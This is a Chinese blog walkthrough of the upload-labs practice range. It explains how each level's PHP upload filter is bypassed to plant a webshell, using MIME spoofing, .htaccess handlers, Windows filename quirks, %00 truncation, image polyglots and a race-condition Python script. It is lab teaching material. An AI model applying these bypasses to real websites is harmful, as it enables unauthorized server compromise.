upload_labs

upload_labs

前言:博主之前因为一些其它的事一直拖拉,终于在这几天把这个靶场完成了。

博主建议过这关靶场时最好自己搭建环境,对于操作和改靶场的bug比较方便。

靶场链接:https://github.com/c0ny1/upload-labs(bug有点小多,一些需要自己去修改)

博主是在windows+apache2.4的环境搭建的。(建议用windows搭建)
mind-map.png
sum_up.png

pass1

(1)打开页面

图片.png

js(JavaScript)检查属于前端验证,在浏览器未提交数据时进行验证。我们可以利用Burp suite来拦截请求,通过修改请求来绕过前端的JavaScript验证,并成功地向服务器提交了数据。

前端JavaScript验证是为了防止用户输入错误,服务器端验证是为了防止恶意攻击。

(2)先用png文件格式绕过js验证,用bp抓包、改包,改为php绕过。

图片.png

(3)用蚁剑链接

图片.png

pass2

(1)提示

图片.png

(2)上传php文件,bp抓包,写码,修改数据包的MIME

   if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) 

由码源知道需要以上的格式。
图片.png

(3)用蚁剑链接

pass3

(1)提示
$deny_ext = array(‘.asp’,’.aspx’,’.php’,’.jsp’);

后缀过滤不严,我们只需要把.php后缀修改为.phtml即可

(2)bp抓包修改

图片.png

(3)蚁剑连接

pass4

(1)提示

图片.png

这很明显没有对文件后缀名进行详细的过滤。

(2)利用.htaccess文件修改png文件的后缀

图片.png

//.htaccess文件内容
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>
  • 注:要对apache进行配置,一般的apache关闭了.htaccess文件的使用。

(3)先上传.htaccess文件,在上传带一句话木马的png文件,便会被当作php文件解析

(4)蚁剑连接

  • 注:这里还可以使用开发者工具来查看图片上传的地址

图片.png

pass5

(1)提示

    $file_name = deldot($file_name);//删除文件名末尾的点
    $file_ext = strrchr($file_name, '.');
    $file_ext = strtolower($file_ext); //转换为小写
    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    $file_ext = trim($file_ext); //首尾去空

由于php代码是按由上倒下的顺序执行的,并且deldot、trim函数只执行一次操作。于是我们可以把.php改为.php. .进行绕过。

(2)bp抓包,改后缀

图片.png

(3)蚁剑连接

pass6

(1)提示

    $file_name = trim($_FILES['upload_file']['name']);
    $file_name = deldot($file_name);//删除文件名末尾的点
    $file_ext = strrchr($file_name, '.');
    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    $file_ext = trim($file_ext); //首尾去空

(2)没有进行大小写过滤

本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!

把.php改为.Php绕过。

图片.png

(3)用蚁剑连接

pass7

(1)提示

    $file_name = $_FILES['upload_file']['name'];
    $file_name = deldot($file_name);//删除文件名末尾的点
    $file_ext = strrchr($file_name, '.');
    $file_ext = strtolower($file_ext); //转换为小写
    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

没有过滤到文件末尾的空格,我们可以利用Windows系统的文件名特性。文件名最后增加空格和点,写成1.php .,这个需要用burpsuite抓包修改,上传后保存在Windows系统上的文件名最后的一个.会被去掉,实际上保存的文件名就是1.php (末尾有一个空格)

(2)bp抓包,修改后缀
图片.png

(3)蚁剑连接

pass8

(1)提示

    $file_ext = strrchr($file_name, '.');
    $file_ext = strtolower($file_ext); //转换为小写
    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    $file_ext = trim($file_ext); //首尾去空

少了去“.”,同样我们可以利用Windows系统的文件名特性。文件名后缀改成php .

(2)bp抓包,修改后缀
图片.png

(3)蚁剑连接

pass9

(1)提示

    $file_name = trim($_FILES['upload_file']['name']);
    $file_name = deldot($file_name);//删除文件名末尾的点
    $file_ext = strrchr($file_name, '.');
    $file_ext = strtolower($file_ext); //转换为小写
    $file_ext = trim($file_ext); //首尾去空

少了去字符串::$DATA,我们可以利用Windows系统的文件名特性。在windows中,会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,起到绕过后端检测的效果。

(2)bp抓包,修改后缀
图片.png

(3)蚁剑连接

由于在windows中只会保持::$DATA之前的文件名,所以用蚁剑连接时,要去掉::$DATA

pass10

(1)提示

    $file_name = trim($_FILES['upload_file']['name']);
    $file_name = deldot($file_name);//删除文件名末尾的点
    $file_ext = strrchr($file_name, '.');
    $file_ext = strtolower($file_ext); //转换为小写
    $file_ext = trim($file_ext); //首尾去空
    ……
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH.'/'.$file_name;

与前面几关一样,我们可以利用Windows系统的文件名特性。原文件改成php. .绕过

(2)bp抓包,修改后缀

图片.png

(3)蚁剑连接

pass11

(1)提示

图片.png

既然会去除后缀,那我们不妨尝试一下双写的技巧。把后缀改成.pphphp

(2)bp抓包,修改后缀

图片.png

(3)蚁剑连接

pass12

(1)提示

图片.png

    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

分析代码,这是以时间戳的方式对上传文件进行命名,使用上传路径名%00截断绕过,不过这需要对文件有足够的权限,比如说创建文件夹,上传的文件名写成1.jpg, save_path改成…/upload/1.php%00,最后保存下来的文件就是1.php

url中,%00对应的ascii码值为0,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束,而忽略后面上传的文件或图片,只上传截断前的文件或图片

(2)bp抓包修改
图片.png

(3)蚁剑连接

当url中出现%00时就会认为读取已结束,所以连接蚁剑时,会自己保存%00以前的内容

图片.png

  • ps.php版本要小于5.3.4,magic_quotes_gpc需要为Off状态。可在php的配置文件中修改。

    pass13

(1)提示

图片.png

原理与前一关一样,区别在于前一关采用的是get的方式,这一关用的是post的方式,我们同样可以在bp的hex拦中进行修改。我们在Hex中找到对应的十六进制码(php的十六进制码为70 68 70),因此我们将在这串编码后的值更改为00。

(2)bp抓包修改
图片.png

先把php文件的后缀改为jpg,upload后加上1.php使文件被解析成php文件

然后修改hex的值

图片.png

(3)蚁剑连接

pass14

(1)提示

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    //把这两字节分别放入数组"C2chars"
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    //将字节转化为二进制流
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

源码通过二进制的方式查看文件前2字节(文件头)是否为合法文件。

一般而言jpg、png、gif这类格图片格式的前几个字符(16进制下)都是一样的,有些防护手段也是通过这种特征码来判断的。所以我们可以通过构造图片码绕过。

  • 注:图片码的制作

a.先将准备好的图片与php代码放入同一文件夹

b.打开cmd,cd到指定文件夹

c.执行cmd指令:

copy 1.jpg /b + 1.php /a 2.jpg

(2)制作图片码上传

图片.png

因为蚁剑连接不了图片,所以我们用phpinfo这个命令来判断我们成功渗透。

(3)利用文件包含漏洞,触发图片码

这里博主搭建的靶场是有漏洞的,upload文件夹里的文件包含漏洞文件会被删除,博主也懒得去找原因,直接复制根目录的文件包含漏洞的文件到upload文件中。

图片.png

pass15

(1)提示

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);//获取图片大小,返回的结果是数组
        $ext = image_type_to_extension($info[2]);//取得图像类型的文件后缀
        if(stripos($types,$ext)>=0){    //查找字符串首次出现的位置
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

(2)与上一关的方法相同,上传图片码绕过

pass16

(1)提示

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);//通过exif_imagetype函数检测是否图片格式正确
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

(2)也同样与14关方法相同,上传图片码

pass17

(1)提示

else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

这一关主要考的是二次渲染,我们可以利用gif文件的特性,gif文件在二次渲染之后会保留一段和渲染前相同的内容,而jpg与png则没有这段内容。

(2)我们先制作gif的图片码,上传,在把上传后的图片下载下来,用010editor比较不同
图片.png
由于博主之前就把码注入到不变的位置,所以渲染后的图片,仍保存这一段代码。

(3)利用文件包含,触发图片码

pass18

(1)提示

if(move_uploaded_file($temp_file, $upload_file)){ //move_uploaded_file() 函数把上传的文件移动到新位置。
    if(in_array($file_ext,$ext_arr)){
         $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
         rename($upload_file, $img_path);
         $is_upload = true;
    }else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
        unlink($upload_file);
    }
}else{
    $msg = '上传出错!';
}

本关先通过move_uploaded_file()移动文件到指定的位置,再对文件后缀进行检查。合法,就重命名;不合法,就用unlink函数删掉。也就是说只要我们在move_uploaded_file()移动文件后,经行后缀判断前,读取文件,注入webshell就可以了。

(2)bp不停发送文件。

上传文件创建新后门的文件
<?php                                                      ?>');?>
  • fputs — fwrite() 的别名

fwrite — 写入文件,这里的意思是把’‘的内容写入1.php这个文件中,由于upload文件中不存在1.php这个文件利用了fopen这个函数,来创建1.php这个文件。

  • fopen() - 打开文件或者 URL,将 filename 指定的名字,资源绑定到一个流上。

      fopen( string $filename, string $mode, bool $use_include_path = false, resource $context = ?) : resource
    

‘w’ 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。

  • 注:执行这些函数要有文件的读写权限

(3)用python脚本不断读取文件实现通过这样的条件竞争来实现注入

利用python程序中的request模块,不断访问第一次发送的文件,使之创造出新的后门文件。如果成功访问新建的后门文件,则代码执行成功。

# python脚本
import requests

url_1 = " http://192.168.3.243:81/upload/include.php?file=2.jpg "
url_2 = " http://192.168.3.243:81/upload/1.php "
while True:
    html_1 = requests.get(url_1)
    html_2 = requests.get(url_2)
    if html_1.status_code == 200:
        print("1")
    if html_2.status_code == 200:
        print("YES")
        break
    else:
        print("NO")

(4)实际操作

图片.png
图片.png

出现了yes就代表成功了。

(5)接下来就直接用蚁剑去连接

pass19

等待更新

pass20

(1)提示

    $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

    $file_name = $_POST['save_name'];
    $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

    if(!in_array($file_ext,$deny_ext)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH . '/' .$file_name;
        if (move_uploaded_file($temp_file, $img_path)) { 
            $is_upload = true;
        }
  • pathinfo( string $path, int $flags = PATHINFO_ALL) : array|string

pathinfo() 返回一个关联数组包含有 path 的信息。返回关联数组还是字符串取决于 flags。

flag:

PATHINFO_DIRNAME - 只返回 dirname
PATHINFO_BASENAME - 只返回 basename
PATHINFO_EXTENSION - 只返回 extension
PATHINFO_FILENAME - 只返回 filename

pathinfo() 纯粹基于输入字符串操作,它不会受实际文件系统和类似 “..” 的路径格式影响。 我们可以利用这点,把.php的后缀改成”.php. ”,这样返回的后缀就会绕过后缀检查,而多出来的”. “,就会被windows系统的文件名特性忽略掉,从而成功上传文件。

(2)修改保存的名称

图片.png

(3)用蚁剑连接

pass21

(1)提示

if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名,检查'save_name'的值是否为空,如果为空则flie的值为上传文件的名字,否则为'save_name'的值。
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; 
        if (!is_array($file)) { 
         //如果file的值不是数组,使用explode函数用“.”分割$file的值为两部分,其返回值是数组。
         //strtolower函数则是使file的值转化为小写。
            $file = explode('.', strtolower($file));
        }

        $ext = end($file); //end()取file数组的最后一行
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
        //reset函数是使指向$file的指针,重返初始位置,并返回第一个的值
        //count — 计算数组中的单元数目
            $file_name = reset($file) . '.' . $file[count($file) - 1];
        //$_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
        ……

首先要绕过MIME的检查,这个我们通过bp抓包修改Content-Type:的值就可以了。然后savename的值如果不是数组则会被拆为数组,那不妨我们直接构造一个数组传给file。

同时我们可以利用php数组下标不不为连续数问题(可详细参考博主的下一篇博客)

传入:

save_name[0]=1.php

save_name[2]=jpg

这样save_name[2]=jpg用于绕过后缀检查,而count函数计算出来的值为2,所以$file[count($file) - 1]也就是$file[1]的返回值为空,最后$img_path的值也就为1.php.,在通过windows的文件名特性会忽略掉最后的“.”,就成功上传了

图片.png

(2)用蚁剑连接

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2023 00hello00

请我喝杯咖啡吧~

支付宝
微信